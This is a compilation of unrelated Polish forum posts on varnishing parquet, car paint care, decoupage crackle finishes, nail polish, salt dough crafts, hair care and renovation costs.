przypadkach współsąsiedztwa, o których piszesz, niektórzy faktycznie
przesadzają.
A jeśli chodzi o smiecie- świetny pomysł.
A podsumowując to remonty mam już za sobą i jak narazie moje życie z sąsiadami
nabiera całkiem wiosennych barw. Oby tak dalej!

Hahaha...dzieki za instrukcje:)chyba tez musze popróbowac z tymi krakami.
A do czego werniks słuzy?tak mnie cos naszło z tym werniksem i siedzi w głowie,a
nie mam pojecia do czego to jest;)?
O ja tez dusza niecierpliwa:)jak pierwszy raz krakiem malowałam to prawie na
mokry jeszcze farbe dałam;))) i mozna sobie wyobrazic co wyszlo;))))
Doniczki juz prawie skonczone,jeszcze tylko ze dwie warstwy lakieru i bedzie
koniec;)))Tak sie im przygladam i im dłuzej to robie to mi sie bardziej
podobają;)Ale nie az tak zeby w zachwyt wpadac;)))Do tego to jeszcze daleko:)))))
Jeszcze raz dziekuje:)

Dlaczego zdecydowalas sie na olejowane blaty w lazience ? To przeciez wyjatkowo
mokre miejsce ?

Zastanawiam sie tez nad tym, na ile np. wylewanie czegos kolorowego na podloge
olejowana mogloby szkodzic ? Bo lakierowana to po prostu sie myje.

O dzwieku przy panelach nie pomyslalam.

Kerstin

myjnia
Latem myje sama, bo to żaden problem, mam taką specjalną szczotkę do mycia aut -
tylko takiej używam. Zimą jednak korzystam z myjni. Myslę jednak że same myjnie
też są bardziej lub mniej bezpieczne dla lakieru, te ręczne i mechaniczne róznią
sie przeciez zasadniczo.
Na początku myłam swoje autko wręcz co tydzień, a ponieważ nie ubrudziło sie
zbytnio, przecierałam je ściereczkami z mikrofazy na mokro, a potem na sucho.
Mój mąż jednak stwierdził, ze myjąc w ten sposób szybko zniszczę lakier, wiec
już nie jestem taką pedantką ...

Poczekaj cierpliwie, aż wyschnie. Nie zrywaj mokrej. Powinna się ułożyć. Pewnie
będzie trochę spaczona i z zaciekami, ale te wybrzuszenia powinny zniknąć.
Pewnie trzeba będzie cyklinować i lakierować. Ja miałem parkiet - zalany
dwukrotnie (raz wyrwało zawór od kaloryfera, drugi raz pękła rura od pralki).
Nie było mnie w domu, ratowali sąsiedzi, którzy mieli klucz (nie ma to jak
dobry sąsiad). Zalane było dokładnie, po wyschnięciu i cyklinowaniu wyszedł
nieźle, Mozajka jest trochę cieńsza, ale może będzie dobrze.

Jestem przekonany, że to kolejny błąd lakiernika.
Nie znam niestety lakieru UNO (czy to włoski lakier?).
Jednak technikę lakierowania mam co nieco opanowaną.
Jeśli rzeczywiście coś "spływało", to by znaczyło, ze lakiernik kładł zbyt grube warstwy lakieru.

Aby wydac jakąś decyzję, co do przyczyny tej anomalii, trzeba by wiedziec nieco wiecej, jak lakiernik to robił. Może na to miejsce brakło mu lakieru i otworzył nową puszkę, którą źle wymieszał. Może lakierował to jedno miejsce grubiej, bo mu coś upadło w trakcie.
Nie wiesz, czy lakierowane było wałkiem, czy pędzlem?

Jak temu zaradzić?
Jeśli jest to tylko widoczne pod światło, to ja na twoim miejscu dałbym se z tym spokój. Lakier z czasem sam z siebie zmatowieje w trakcie użytkowania.
Jeśli jednak chcesz coś z tym zrobić to trzebaby połozyć jeszcze jedną warstwę lakieru.
Trzebaby wpierw zmatowić całą podłogę papierem ściernym 200 (oczywiście ręcznie), odpylić to odkurzaczem, wytrzeć na mokro, i polakierowac cieniutko tym samym lakierem uzywając tym razem wałka.

za 12 zł nikt tego profesjonalnie nie zrobi, bo na same papiery ścierne i
paliwo nie zarobi :(. A profesjonalny nowy sprzet dla parkieciarza to wydatek
od 40 do 50 tyś. Cena takiej usługi w Warszawie to min. 20 - 25 zł za m2. Nigdy
też nie radzę, aby rozliczyac się z parkieciarzem po skończonym lakierowaniu
tzn. jak podłoga jest jeszcze "mokra"- lakier nie wysechł, często wady
lakierowania i szlifowania wodac dopiero po wyschnięciu lakieru !!!

W ciągu roku spokojnie poorganizujesz i znajdziesz ekipy bez przepłacania. A
dla spokojnego wysychania różnych rzeczy to tylko dobrze.
Zbyt szybkie postępy prac nie służą technologiom budowlanym - choćby wiązanie i
odparowywanie wody. Np. parkiet powinien według dobrych zasad poczekać ze dwa
tygodnie po klejeniu na cyklinowanie i lakierowanie żeby się ułożył w nowym
otoczniu.
Pomalowanie mokrych ścian też nie jest dobrym pomysłem, nie mówiąc już o mokrej
wylewce pod klepkę.
A koszt.. Czy ten stan surowy zamknięty ma już:
1. ogrzewanie
Jeśli nie ma, to 15-25 kPLN
2. Wylewki
Jeśli nie ma, to ok. 40 PLN /m2 (materiał i robocizna)
3. Tynki
Jeśli nie ma, to ok. 20-25 PLN /m2 (materiał i robocizna)

4. Drzwi
Róznie, od 400 do 4000 za sztukę z montażem, opaskami itp

5. Terakoty, glazury , średni standard to 80-100 PLN/m2 (robota 30-35/m2, klej,
listwy, dekory - 10-15 /m2, płytki do 50 PLN/m2) - trudno dokładnie oszaacować,
ale zawsze drożej niż się wymyśliło :)

6. Parkiet - 80 PLN/m2 (robota, klej, cyklinowanie, lakier 2 razy w cenie) +
klepka.

Tak więc 1000 PLN/m2 może być za mało...

A po wyszorowaniu i wyschnięciu zabezpieczyć warstwą np.Sidoluxu.Powstaje
cieniutka błonka lakieru zamykająca pory i zabezpieczająca przed wnikaniem
wody i brudu w głąb terakoty.Wspaniale sprawdza się w moim
przedsionku.Ewentualne ślady po mokrych i brudnych buciorach zostają w postaci
pyłu, który łatwo zamieść.

zacieki lakieru do efektu spękań
Witam,

jestem w trakcie odnawiania starej szafy. Została pomalowana farbą
akrylową, następnie lakierem do efektu spękań ( podobnym do
stosowanych w decopage ). I tu pojawił się problem....zbyt duża
warstwa lakieru spływa w postaci zacieków, przy próbie roztarcia
powstają " białe kuleczki o konsystencji gumy ". Wszystko jest
jeszcze mokre i nie wiem, co z tym zrobić...

Czy można to potem zeszliwować??? Pomocy!!!

Z góry dziękuję za poradę i pozdrawiam

Magda

Parkiet, parkiet, parkiet… Czy jakieś argumenty poza tym, że nigdy
nie wyjdzie z mody macie?

Od trzech lat mam w mieszkaniu położony parkiet (dąb, I gatunek,
wyleżał sie grzecznie w mieszkaniu 2 lata). Wygląda ładnie, tym
bardziej, że znalazłem niemiecką firmę, która produkuje lakiery i
barwniki do lakierów, stąd też można było nadać parkietowi
niecodzienny, delikatny morski odcień.
Niestety jako użytkownik dostrzegam również minusy parkietu. Rysuje
się – cóż, może nie strasznie ale jednak. Bardziej mnie denerwuje
to, że łatwo wsiąkająca woda w styki pomiędzy klepkami. Po 3 latach
zrobiły się prawie niewidoczne pęknięcia lakieru na stykach. Efekt
przy rozlaniu jakiejkolwiek ilości wody (np. przy podlewaniu
kwiatków) czy nawet zostawieniu mokrej ścierki do podłogi powoduje
dość szybkie nasiąkanie na ciemno brzegowych fragmentów klepek :(

Nie wyobrażam sobie w domu położenia paneli jednak coraz bardziej
zastanawiamy się czy zamiast pękającego parkietu nie położyć ściśle
przylegającej do siebie deski typu barlinecka.

Ostatnio bardzo spodobał mi się twardy parkiet z jasnego bambusa ale
już kilku sprzedawców odradzało nam ponieważ deski (klepki) z
bambusa wyginają się i rozchodzą.

Deski, koniecznie olejowane - nie lakierowane. Łatwe do konserwacji . możno
wyttrzeć na mokro. Drobne uszkodzenia i zarysowania można przetrzec olejem i
nie ma śladu. Nie wyglądają tak plastikowo jak panele. Nawet gdy sie deski się
rozchodza , przy małej wilgotności powietrza, to szpary pomiedzy nimi nie
wyglądają tak nieestetycznie jak w przypadku paneli.
Oczywiście jest to rozwiązanie dla cierpiliwych i nie zmieniajacych zbyt często
gustu.

Nic sie strasznego nie stanie. Egzaminator tez ma samochod ktory jest jego lub
jego firmy wlasnoscia i z pewnoscia nie bedzie tego robil (nauki parkowania) na
zatloczonym paringu czy w srodku miasta. Poza tym, parkowanie to nie jest nic
co zagraza bezpieczenstwu. Powinno tego w oglole nie byc na egzaminach.
Nauczysz sie jak wlasnym wyjedziesz na miasto i nie bedziesz umial
zaparkowac.
A gdzie istotne elementy wplywajace na bezpieczenstwo ? Hamowanie z duzej
predkosci, na mokrej nawierzchni, zachowanie na luku, jazda w nocy.... to sa
elementy ktroe powinny byc choc pobieznie zaprezentowane kursantowi.
Na swiecie , moze nie wszedzie, ale nanewry sa marginesem. Uczy sie zachowania
w czasie jazdy, w ruchu, hamowania, oceny odleglosci. Tego co wplywa na
bezpieczenstwo a nie stan lakieru. Od tego drugiego sa podwyzszone stawki
ubezpieczenia.

mmmm - tusia, barlinek jest miodzio :) tylko ta cena, wiem że dobrym
rozwiązaniem byłaby deska a'la barlinek... ale niestety te też są dla mnie zbyt
drogie, dlatego też decydujemy się na panele ...
początkowo panele wyglądały dla mnie jak tapeta, albo okleina meblowa, żadna
rewelacja, no nie? ale w gruncie rzeczy, po dobrym oglądnięciu nie jest chyba
tak źle, tylko trzeba uważać, żeby się nie wycierały np od krzeseł i nie
odłaziły na krawędziach - np nie wolno myć mokrą szmatą ani używać żadnych
środków z woskiem...
niestety po przeliczeniach kosztów łazienki muszę ograniczyć swój budźet
remontowy heh ;)za tymi panelami przemawia fakt, że również można je układac
bezklejowo - na klik i od razu można mieszkać, nie wąchając lakieru...
np www.kronooriginal.pl

najlepiej zrobili moi rodzice - parkiety tylko w sypialni i gabinecie taty, a
na reszcie kafle :)

Oj przy soczewkach nie trzeba rezygnować z długich paznokici! Ja sobie radziłam
z bardzoooo długimi. A wracając do tematu, mnie nie podobają się krótkie
paznokcie pomalowane w intensywne kolorowe wzorki, sama mając krótkie malowałam
np. tak;
na cały paznokieć dwie warstwy bezbarwnego lakieru (lub półtransparentnego do
frencha) na mokry lakier stawiam kropeczki białego lakieru- średnio gęsto, na
całym paznokciu, kropeczki rozmazuje igłą tworząc łezki, tak aby płynnie jedna
w drugą przechodziła.
Jeśli potrafisz bardzo ładnie wygląda namalowana białym linerem na bezbarwym
lakierze zebra, ale to już wymaga precyzji.

a ja
pod serwetką maluję białą akrylową. a tło dorabiam temperami, albo nawet
zwykłymi plakatówkami szkolnymi bez mieszania z akrylówką (bo chcę mieć
zdecydowane, a nie rozbielone kolory). potem po całości lakier - tu trzeba
trochę uważać, bo tempery i plakatówki potrafią się trochę rozmazać pod wpływem
mokrego lakieru, ale jeśli tło ma być jednolite to żaden problem.

1. Po pierwsze dodaję do masy - juz pod koniec ugniatania z wodą - kleju Wikol
(na oko - dzieki temu masa jest bardziej zwarta, bardziej gładka i odporniejsza
na zawilgocenie po wyschnięciu. Ale schnie wolno. Zwłaszcza, że nigdy nie
wkładam mokrej do piekarnika - najpierw suszę na desce na kaloryferze (ściśle:
deska, tektura, papier do wypieków i na tym to ulepione "coś"), jak podeschnie
front delikatnie odwracam i suszę "plecy". Dopiero wysuszone wypiekam, wtedy
jest pewność, że nie popęka w piekarniku.
2. Zdarzyło mi się, że anioły spadły na podłogę jak nadeszła pora deszczowa
(zamieniając się w upadłe), ale ja nie lubie masy przesadnie malowanej i
lakierowanej, poza tym nie były dobrze wypalone. Lakier do włosów nie jest
raczej całkiem odporny na wilgoć, chyba rzeczywiście byłby potrzebny dobry
lakier akrylowy i akrylowe farby (farba akrylowa jest odporna na wodę w 100%,
maluje się nią nawet na zewnątrz budynków!)
Nie zrażaj się, powodzenia przy następnych próbach.

i sie rozleciało....masa solna sorki
dziewcxzyny wiem zatluczecie mnie na starcie, ale dziś am doła i dokopała mi
masa solna. chciałam komus pokazac ze aniołki wymalowane lakierem nie chłona
wody i.... prawie sie rozplakalam, mam wilgos c wpokoju i aniolek ktory
wisial w nim od roku ladnie nciagnal, nie spęczniał ale jest mokry. cholera
mnie bierze bo mam poechowy weekend. poradzcie cos czemu ta cholera zmiękła
mimo dokładnego lakierowania? miała prawo?? bo jak tak to wywalam mase solna
przez okno

podoba mi się ten pomysł z koralikami
lakierów poszukaj w naturze albo rossmanie wśród najtańszych marek. one mają
najlepsze dla naszych celów kolory zjadliwe róże, strażacka czerwień,
jaskrawy błękit ahhhh <lol>
używałam jeszcze brokatu kosmetycznego do posypywania mokrego lakieru. fajnie
też wychodzi jeśli jako warstwę wierzchnią dasz przezroczysty lakier z
brokatem.

serwetka chyba zawsze rozciąga się i marszczy (pod wpływem wilgoci) - im
większy fragment, tym trudniej nad tym zapanować - ważne, żeby podłoże nie było
zbyt mokre (żeby można było śmiało poprawić bez rozerwania) kierując się
poradami z forum - nie przyklejam całości na raz, tylko podsmarowuję klejem
kawałek po kawałku
marszczenia pojawiają się też czasem w trakcie lakierowania - żeby tego uniknąć
motyw powinien być po przyklejeniu przeschnięciu "zamalowany" klejem (albo tym,
co spełnia jego funkcje) dzięki czemu już nie rozmięknie w trakcie lakierowania
nie wiem, czy o to chodziło... ale powodzenia

> WYRYWAC czy WYCINAC motyw z serwetki??
To proste. Popatrz na tlo serwetki i na kolor farby na ktora nakleisz.
Jesli sa takie same mozna wyrwac wzorek - bedzie szybciej, a serwetka wtopi sie
w tlo. Jesli wzor jest na przyklad na granatowym tle a ty chcesz nakleic go na
bezowa farbe - wycinaj, bo bedzie brzydko.
> i czy PAPIER oryginalny do decoup. jest lepszy niz serwetki?
Co kto lubi. Serwetki mozna mniej lakierowac, ale sa przezroczyste i nie bardzo
sie nadaja do eksperymentow na ciemnym tle - chyba ze je obmalujesz ciemna
farba dookola. Papier jest grubszy, wiecej trzeba go lakierowac zeby nie bylo
widac ze jest przyklejony, ale bardziej sie nadaje do roznego tla. Pewnie tez
latwiej go wygladzic, bo nie rwie sie tak szybko jak mokra serwetka.

Rozumiem ,że robisz to tak : patyna, pękający, asfalt i to resztkę tego ( a nie
patyny) ścierasz. Możesz jeszcze raz dac patynę. I właśnie o to mi chodziło,
jak pisałam , że jest to żadne zabezpieczenie przed wilgocią i wodą. Nijak nie
nadaje się na przedmioty choć troszkę użytkowe ( no, chyba ,że darujemy sobie
czyszczenie na mokro). Lakierować się tego nie da.

mamciabb, a w jakim okresie po wybudowaniu się wprowadziliście (u nas mury
stoją od zeszłego lata, mam nadzieję, że wystarczająco wyschną). Piszesz,że
czekaliście 3 m-ce po lakierowaniu podłogi, a ściany malowaliście przed
podłogami (chyba tak się robi)- jak potem pozbyłaś sie kurzu i pyłu ze ścian -
(na mokro?) to mnie wkurza, bo przecież, czy parkiet, czy dechy drewniane to i
tak trzeba cyklinowa i jest mnóstwo pyłu.
Niestety nawet blat kamienny w kuchni nie ochroni przed grzybem, bo pod
brzegiem zlewu jest uszczelka, która parcieje i grzyb gotowy. Też tak myslałam
jak 6 lat temu wprowadzałam się do mieszkania.
Kominek - zdecydowaliśmy się, robimy z płaszczem wodnym (ogrzewanie wody c.o.),
bo tego pylącego się obawiam.

Do mycia okien polecam, albo taki specjalny papier - niepylący albo tetrę do
wycierania do sucha. A jakich specjalnych ścierek używasz do czyszczenia mebli.
Dzięki

> niekoniecznie, niby trzeba klasc baze i bezbarwny ale zwyklego tez kladzie
> sie kilka warstw.

Tylko, ze zwykly kladzie sie w jednym podejsciu - mokre na mokre, a lakier dwuwarstwowy nie. Najpierw baza mokre na mokre, a potem tak samo bezbarwny. Dlatego lakierowanie metalikiem jest drozsze. No i dlatego, ze metalik trudniej dobrze polozyc.

> Poza tym "zwykly lakier" zwlaszcza ciemny (duuuzo pigmentu) jest drogi

Nic z tych rzeczy. Cena za litr i juz. Chyba, ze producent polozyl ciemny lakier jako dwuwarstwowy (tak jak metalik) dla uzyskania wiekszej glebi koloru. Wtedy jest tak samo drogo jak za metalik. Moj ciemnofioletowy samochod jest wlasnie tak pomalowany. I faktycznie - jakies 30 sek. po umyciu jest calkiem ladny... Nigdy bym takiego nie kupil, ale potrzebowalem auta szybko, a na placu byl tylko w takim kolorze z odpowiednim wyposazeniem :-(

> zwykly lakier latwo zarysowac nawet galezia
> metalik mainny hcemicznie sklad z uwagi na bezbarwna warstwe na wierzchu. I
> jest bardziej odporny mechanicznie, w dodatku mniej widac na nim uszkodzenia.

Bezbarwna warstwa lakieru na wierzchu metalika jest dokladnie taka sama jak lakier z pigmentem do jednowarstwowego lakierowania. Nie ma w nim tylko pigmentu wiec odpornosc na zarysowania jest podobna - czasem pigment dodaje troche twardosci (np. biel tytanowa). A zarysowania najmniej widac na samochodach o kolorach "ziemi" - w rysy wchodzi brud wiec im lakier ma kolor blizszy koloru brudu, tym mniej rysy widac :-)

Dzięki za info !
Czuję się zainspirowany i może dzisiaj się wezmę za robótkę. Szkoda że garażu
nie mam.
Słyszałem że szlifowanie na mokro daje lepszą gładź i podobno można też zwykłym
Ludwikiem do naczyń moczyć - ale może faktycznie - choć przyznam Ci że zanim
lakierowałem osuszałem szmatami i psikałem na suche.
Zamiasat kortaninu mam użyć tej czerwonej minii tak ? (nie wiem czy dobrze
napisałem nazwę)
Co to jest wypełniacz ? Czy to jest szpachla bez włókien - ta do zrobienia na
gładko ?
I jeszcze jedna kwestia - podejrzewam że w moim samochodzie po usunięciu rdzy
zostaną spore dziury - jak je łatać - szpachlą czy watą ?

u mnie teak w łazience jest położony na gruncie i kleju firmy uzin (pe 420 i mk
92S) oczywiście potem szpachla- ja wybrałam pallmana jakąś :) no i naqjlepiej
olej u mnie magic 2 k ale spokojnie mozna użyć soyabase plus :)
pamiętaj tylko żeby nie lakierować, bo słyszałam że z lakierowanym drewnem
tekowym są problemy...

u mnie mimo olejowania praktycznie co wieczor podloga jest przecierana mokra
szmatka i tak zostawiana gdyz moja mozaika szalenczo pracuje i juz mam
szparki... fakt dzieki dobrej chemii nie odpada :)

polozenie mozaiki to dzien, potem trzeba oddczekać 2 tygodnie przed
cyklinowaniem, cyklinowanie, szpachlowanie i lakierowanie to 1-2 dni i jeszcze
tydzień na utwardzenie lakieru. Co wiecej mozaikę kladzei się, gdy zrobione sa
wszystkie mokre roboty (szpachlowanie ścian, glazura i terakota). Dla
oszczędności czasu malować sufity i ściany (te ostatnie bez ostatniej warstwy)
można czekając na cyklinowanie (choć wygodniej przed położeniem mozaiki). Z tych
wyliczeń wynika, że miesiąc to mało.

Zderzak spokojnie mozna polakierowac. Zreszta jak kupisz nowy tez bedzie trzeba go lakierowac :-)

Co do naprawy z klepaniem. Jezeli masz juz wybrany warsztat, ktory Ci to zrobi postaraj sie podpatrzec jak radza sobie ze scieraniem nadmiaru szpachli. Jezeli maja slifierki z odsysaniem pylu i szlifuja na sucho, nie powinnas miec powodow do obaw. Jezeli tra na mokro (mozna to poznac po sporej ilosci brazowego i bezowego blota na podlodze), daruj sobie. Wspolczesne szpachlowki sa bardzo porowate i woda wsiaka w nie. Potem calosc podsycha i na to kladziony jest podklad i lakier. A woda gleboko moze pozostac... Rdza musi sie pojawic.

PS Jezeli masz lakier metalik, to na zderzaku zarysowalas tylko bezbarwna warstwe lakieru (biale rysy). To da sie zwykle spolerowac - nawet we wlasnym zakresie.

Usunięcie farby olejnej z lakieru samochodowego!
Zwracam się z pytaniem/prośbą. Zostawiłem koło garażu sprężarkę i pistolet do
malowania. Wcześniej malowałem na dworze stary grzejnik. Moja córka
przypadkiem prysnęła farbą (białą, olejną) w stronę samochodu. Zbyt późno się
zorientowałem i farba zaschła na lakierze. Teraz z bliska widać na samochodzie
białe kropki. Próbowałem mokrą ścierką je usunąć, ale i tak nadal są.
Jak mogę je usunąć, bez uszkodzenia lakieru? Myślałem, żeby usunąć jakimś
środkiem warstwę wosku. Ale nie znam się na tym.
Z góry serdecznie dziękuję za pomoc i dobre rady :)
UnhollySeth

Polerowanie mechaniczne auta wymaga porządnego osprzętu, past
ściernych, wprawnej ręki i dużo czasu.
Polecam teflonowanie na bazie Super Seal - Auto Polish firmy
Porzelack tzw niebieski.
Jest to produkt na bazie naturalnego wosku Carnauba, polimerów i
teflonu. Pokrywa niewidoczne zarysowania lakieru zapewniając na
miesiące szczególnie regularny połysk lakieru. Uprzednio należy
oczyścić karoserię z smoły, żywic i owadów.Drobne zarysowanie usunąć
punktowo dowolną pastą ścierną Teflon nakładać gąbką tak jak wosk
ręczny. Wycierać dopiero po całkowitym wyschnięciu. Mokry teflon
pozostawia smugi.
Połysk gwarantowany.
Andrzej- Poznań

Wejdź do dowolnego marketu budowlanego.Tam sprzedają ,jak myślę
,parkiety,też.Cena za materiał (panele folia,ewentualnie klej,mata
wygłuszająca),to jedno,transport, montaż i reszta to drugie.Ja niczego nie
sprzedaję,tylko opisuję co widzę w TVP 1.Tam właśnie widzę w programie Kawa czy
Herbata dziury w przetartej podłodze z paneli.Podałem to jako ilustrację
wieczystej trwałości tychże paneli jaka jest w twojej wypowiedzi.Oczywistym dla
dzieci w naszym kraju jest to,że jak polakierujesz parkiet,to po mokrej, nie
wyschniętej i nie utwardzonej warstwie lakieru,chodzić się nie da.W każdym razie
nie należy.Zawsze są wyroby luksusowe i popularne,ekonomiczne, niewątpliwie
wypada mieć wiedzę o tym co dobre i trwałe.Wiedzę taką mają zawodowcy,lecz ty do
nich nie należysz.B.Klimkiewicz.

Polecam sklepy internetowe, jeśli chcesz zaoszczędzić. Osobiście kupowałam w
"Eurodomie", wszystkie rzeczy były tansze o 22% czyli o vat, a to bardzo dużo.
Dostawa gratis, miła obsługa, duży wybór. Inne sklepy internetowe też mają podobne
zniżki na produkty, musisz sobie poszukać. Płytki lepiej kupić renomowanych firm
a oszczędzić można dużo kupująć np końcówki serii lub asortymentu.
Kupiłam tak ładne hiszpańskie płytki, oryginalna cena to 127zł za metr, ja
zapłaciłam 41zł za metr, bo na stanie mieli tylko 12m2. Można zrobić remont
mieszkania szybko i drogo, albo najpierw spędzić kilka nocy w necie, i kilka dni
w sklepach, ale wtedy napewno będzie dużo taniej.
Co jest teraz modne?
Np. wydzielanie w łazience strefy mokrej i suchej, w mokrej stosujemy płytki a w
suchej możemy tylko pomalować lub założyć tapetę- to daje duże możliwości i
zmniejsza koszty.
Np. drewno w łazience, najlepiej egzotyczne ale nie jest tanie
Np. fronty szafek kuchennych lakierowane na wszystkie kolory i wysoki połysk
(tylko dla odważnych)
np. szkło-znajduje coraz szersze zastosowanie i jest obecnie bardzo modne
Nie wszystko co modne jest piękne i nie wszytsko co piękne jest modne. Twoje
mieszkanie musi być odzwierciedleniem Twojej duszy, tylko wtedy będziesz się w
nim czuć dobrze i wygodnie.
Zycze powodzenia!

Kiepska sprawa, bo faktycznie niewiele mozna zrobic karmiac, ale nie boj sie,
na pewno nie wylysiejesz!! Nadrobisz jak przestaniesz karmic. Jest taki babciny
sposob na poprawe kondycji wlosow i skory na glowie, niezbyt przyjemny, ale jak
sie go systematycznie stosuje to naprawde pomaga (sama sprawdzilam):
wcieranie soku z czarnej rzepy lub z cebuli, potem zawija sie glowe w folie na
jakies pol godziny, a potem splukuje, suszy bez suszarki w stanie rozpuszczonym
i idzie spac. Rano myjesz wlosy (najlepiej wlasnie kupic sobie szampon z
czarnej rzepy, do dostania w aptekach). Mozna tez co jakis czas wetrzec we
wlosy zoltko. Teraz lista NIE:
- nie uzywaj suszarki
- nie czesz na mokro, pozwol im wyschnac
- nie uzywaj lakierow, zeli etc
- nie farbuj
- najlepiej jesli masz dlugie, skroc, chocby do ramion
- nie uzywaj gumek i spinek automatycznych
To wszystko oslabia wlosy.
A, i mozesz sobie popijac wapno, to troche tez pomaga (tylko nie za duzo!)
Powodzenia - Hania

> ale moze powinien miec jakąś strefe zgniotu, jakas konstrukcje ,
> z jakiegos materiału...

No nie spodziewaj się tego w konstrukcjach sprzed 30 lat... Natomiast wagony
zakupione w 2001 posiadają ścianę przednią i tylną wykonane z laminatu.

> a nie tak ze tramwaj przejedzie przez auto i sama stal,
> lekkie zadrapanie lakieru!

No ba. Konstrukcja tramwaju była, jest i pewnie będzie mocniejsza od
konstrukcji samochodu. I raczej tego nie zmienisz.

> I jeszcze ten wystajacy z przodu "hak" ...

"Haki" (czyli tzw. sprzęgi) nie "sterczą" już od paru lat.

> Dodatkowo moze jakieś czujniki, ze jak ma przeszkode dajmy na to 5- 10 m,
> to automatycznie hamuje!

Heh, ja sobie czegoś takiego nie wyobrażam. Pomyśl, że wtedy przejazd tramwaju
przez np. plac Kościuszki byłby praktycznie niemożliwy, bo tam prawie zawsze
znajdzie się jakiś inteligent stojący na torach :-P

> No, nie wiem jakie są zabezpieczenia!???

Awaryjne hamowanie w postaci hamulca szynowego (taka belka między kołami).
Załącza się automatycznie, gdy motorniczy puści tzw. czuwak (przycisk lub pedał
naciskany przez motorniczego przez cały czas podczas jazdy).

Oczywiście trzeba cały czas pamiętać o tym, o czym mówił ktoś inny, czyli o
tym, że szyny mogą być śliskie. Dzieje się tak, gdy są mokre. A jesienią
dochodzą do tego zmielone przez koła tramwajów liście, więc wtedy i szynowe
niewiele pomagają - tramwaj jedzie mimo zatrzymanych kół.

Ja myję głowę i stosuję odżywki zawsze wieczorem i śpie w mokrych włosach ;)
Natomiast rano nakładam porcję (wielkości wiśnie) tego Hot Lissa na dłonie i
rozprowadzan we włosach (przede wszystkim na końcach), potem to deliaktnie
rozczesuję, ale uważam, żeby nie wyczesać i zaczynam prostować pasmo po paśmie.
Nie używam już żadnych pianek, lakierów itp.
Pozdrawiam.

, Nagle.. trach... worek peka... a ja caly mokry na minus 20.
zamiast worka proponuję (jesli się posiada) termofor z gorącą wodą owiniety w
ręcznik ,to najlepszy sposób na zamarzniety zamek.
ręcznik po to aby ew.woda ktora się skrapla nie przymarzała do lakieru.
moje auto kręci ale co z tego kiedy wygląda jak z epoki lodowcowej.

No to po kolei...
Lakiery pękające są różne, wydaje mi się, że niektóre a może i wszystkie
dwuskładnikowe (składająe się z lakieru i jakiegoś postarzacza chyba )
wymagają farby NIE_AKRYLOWEJ. Ale tu się muszą dziewczyny odezwać, bo ja używam
jednoskładnikowego z nerchau tylko i do tego MUSI być farba akrylowa, bo inaczej
nie popęka. Najlepiej doczytać na opakowaniu, co pisze producent.

Na upartego możesz używać farby oeljnej nawet do decoup, ale więcej zachodu z
myciem, długo schnie, klakier nie pęka i śmierdzi. Dlatego lepsze sa akrylowe. A
oprócz tego mogą być nawet plakatówki, tempery, akwarelki- hja używam takich
szkolnych farb do uzyskiwania kolorów pastelowych przez wymieszanie z białą
akrylową farbą i chyba większośc tak kombinuje.

Pomiędzy akwarelką a aplakatówką, jest wg mnei różnica w stopniu krycia. Obie są
wodne, ale akwarelką cięzko coś zamalować na amen, żeby nie pzreświtywalo,
natomiast plakatówką łatwiej. Niestety nie wiem nic o temperach, są chyba
jeszcze bardziej kryjące niż plakatówki. Proszę mnie poprawić, jeśli bredzę
Zresztą, z tymi farbami nie do końca rozumiem, bo raz piszesz o pastelach a
potem o plakatówkach. Pastele wg mnie to rodzaj kredek- mogą być suche lub tzw.
mokre.

Więcej nie wiem, bom nieuczona w malarstwie

decoupage odradzam
> jesli chodzi o decupage to niech bardziej doswiadczone osoby sie wypowiedza

Miseczki z założenia będą służyć do żywności o różnej konsystencji.
Zadekupażowaną miseczkę trzeba polakierować, a żywność nie bardzo może się
stykać z takimi lakierami (no chyba że jakiś specjalny, o ile takie są dostępne
w sklepach).
Ciągłe namaczanie w myciu nie będzie chyba dobrze służyć decoupage'owi, a jeśli
polakierujesz tylko zewnętrze miseczki, to na granicy lakieru woda będzie
niszczyła powierzchnię, będą odpryski.

Owszem, mokrą ściereczką decoupage można przecierać, ale na dłuższą metę
regularnego mycia w zmywarce to raczej nie wytrzyma.

Pozdrawiam
zielony_listek

tego używam i tak robię
Ja używam dwuskładnikwego Stamperii - Sottile. Używam to za dużo powiedziane. Po
prostu testuję na ramie od lusterka. I te moje kraki są podobno do małych
spękań, ale jak nakładam więcej to wychodzi ok. Do wypełniania używam...węgla
leczniczego I wcieram go w sumie po całej powierzchni. Czy ja dobrze robię?
Może trzeba siedzieć 3 godziny i dokładnie osbno każde spękanie wypełnić? Potem
biorę wilgotną szmatkę i ścieram nadmiar z powierzchni. Jednak zawsze chyba mam
za mokrą szmatkę, bo wymywam dużo proszuku, a potem jeszcze woda, która się
dostała w spękania, wymywa proszek i on mi się rozpływa na powierzchni.
No więc ścieram po kilka razy, aż zostaje czasem niewiele proszku w spękaniach
DD Robiłem też próby z lakierem akrylowym. Nic mi się pod spodem nie
rozmazuje. A może mi się tylko tak wydaje? A może jednak nie, może Stamperia i
Nerchau pasują do siebie? Co prawda trochę mi się spękania zaróżowiły (nie wiem
od czego) na białym tle, ale te na bambusowym są ok. Ale czy to może być od
lakieru? I teraz nie wiem czy spękania wyjdą ok, czy będę mieć róż, bo kolor tła
mam BIAŁY! Nie dziwcie się, że świruję, bo to mój pierwszy przedmiot ta
szkatułka, z takimi spękaniami. Spróbuję spękać po całości....

Lepiej zaczynac od malych motywów, im wieksze tym bardziej sie marszcza,
zwlaszcza na zaokraglonych powierzchniach.Serwetka zawsze bedzie sie naciagac,
a przez to marszczyc, kwestia dopracowania takiej metody, by zmarszczek bylo
jak najmniej, to kwestia cwiczen.Powierzchnie smarowac na raty, nie od razu
cala, tylko stopniowo, po wierzchu przeciagac miekkim pedzlem.Poza tym marszczy
sie potem przy lakierowaniu, nakladac lakier trzeba cieniutko, warstwami,
wygladzac tepą strona paznokcia, poki lakier mokry.Suszyc suszarka, pod wplywem
goraca zmarszczki sie rozprostowuja.

Witam tym serdeczniej, ze równiez jestem z Wrocławia.
To, ze nie zmatowilas szkla nie jest bledem.Przerobilam butelek ze 20 i nigdy
nie scieralam ich papierem, a farba trzyma jak nalezy.Raz jeden mi sie zdarzylo
cos takiego, z tym ze to byla wg mnie wina farby, a raczej zbyt duzej ilosci
zmieszanej z nia barwnika.Chcialam ciemne tlo, wiec lalam bez umiaru do bialej
farby, przez co zrobila sie gumowata i odlazila platami od butelki.
Jak bedziesz lakierowac, to pamietaj- oszczednie kladz lakier, cieniutko ,
serwetka moze sie i tak marszczyc, wiec ja delikatnie poki mokra wygladz
paznokciem -plaska strona.

a tak w ogole, to nakladaj farbe na flaszki gabeczka pedzlem ni huhu nie da
